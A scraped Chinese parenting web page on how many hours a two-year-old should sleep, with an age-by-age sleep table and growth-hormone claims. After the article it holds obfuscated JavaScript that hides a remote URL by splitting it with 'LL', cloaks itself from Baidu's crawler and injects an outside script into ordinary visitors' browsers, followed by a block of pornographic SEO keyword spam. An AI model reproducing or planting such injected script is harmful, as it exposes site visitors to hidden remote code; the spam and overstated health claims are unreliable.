當前位置:首頁 > 母嬰 > 育兒知識 > 正文

?兩歲寶寶應該睡多久?

2017-04-08 13:36:37  來源:360常識網   熱度:
導語:兩歲的寶寶已經學會了說話和走路,一天下來也比普通的嬰幼兒消耗的體力要多很多,那么到底兩歲的寶寶睡多久才是健康的才是合理的呢。 寶寶

兩歲的寶寶已經學會了說話和走路,一天下來也比普通的嬰幼兒消耗的體力要多很多,那么到底兩歲的寶寶睡多久才是健康的才是合理的呢。

寶寶的睡眠時間是有個體差異的,有的睡的多些,有的睡的少些,正常小兒每天所需的睡眠時間如下,初生~2個月,20小時2~4個月,16~18小時4~9個月,15~16小時9~12個月,14~15小時12~15個月,13~14小時15月~2歲,13小時2~3歲,12.5小時3~5歲,12小時。

兩歲寶寶一天需要睡12-13個小時為好,因為充足的睡眠才能讓寶寶的大腦很好的發育,尤其是腦垂體的生長激素,是在夜晚分泌,所以充足的睡眠才能保證孩子長高個子。當然并不是非嚴格要求達到12-13小時,有時候也是因人而異,不過一定要中午睡覺2個小時,這個很重要。

睡眠的好壞對孩子的身高有著重要影響。據研究,兒童在熟睡時比清醒時生長速度要快3倍。這是因為,在孩子入睡后,位于大腦底部的腦垂體能分泌較多的生長激素,生長激素的作用就是促進骨骼、肌肉、結締組織及內臟增長;進入青春期以前的兒童,只有在睡眠時才分泌生長激素。因此,您該明白,睡眠對于兒童不單純是休息上的需要,更是促進身體發育的催化劑。

童睡眠不但要有數量的保證,還要有質量的保證。從小養成良好的睡眠習慣,孩子將終生受益。

上面就是兩歲寶寶的睡眠時間。兩歲的寶寶會自由的行走,消耗的體力也會比較多,所以睡眠質量其實比失眠時間更加重要。作為家長應該給孩子創造一個舒適的失眠環境,幫助寶寶們有一個更好的睡眠。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品国产手机| 成人午夜精品视频在线观看| 久久亚洲国产精品123区| 国产成人精品日本亚洲网址| 久久91这里精品国产2020| 无码精品A∨在线观看十八禁 | 国产精品亚洲综合网站| 亚洲AV无码久久精品色欲| 国产精品三级国语在线看| 老子午夜精品无码| 中文字幕精品1在线| 国产麻传媒精品国产AV| 亚洲精品视频在线观看视频| 热99RE久久精品这里都是精品免费| 国产精品视频在线观看| 91精品国产免费| 9久久这里只有精品国产| 国产精品美女一级在线观看| 国产精品九九九久久九九| 精品国产一区二区三区久久| 一区二区三区四区精品| 精品久久久久久无码人妻中文字幕| 四虎成人精品永久免费AV| 精品91自产拍在线观看| 国产成人综合日韩精品婷婷九月| 久久精品免费一区二区| 国产成人精品一区二区三区免费| 亚洲国产精品人人做人人爱| 四虎永久在线精品免费网址| 四虎国产精品永久在线播放 | 精品一区二区三区无码免费视频 | 精品丝袜国产自在线拍亚洲| 久久精品国产精品亚洲色婷婷| 国产精品国产三级国产AⅤ| 国产精品高清m3u8在线播放| 国产精品久久久久久搜索| 青青青国产精品一区二区| 国内精品91最新在线观看| 成人精品视频一区二区三区| 无码乱码观看精品久久 | 亚洲无码日韩精品第一页|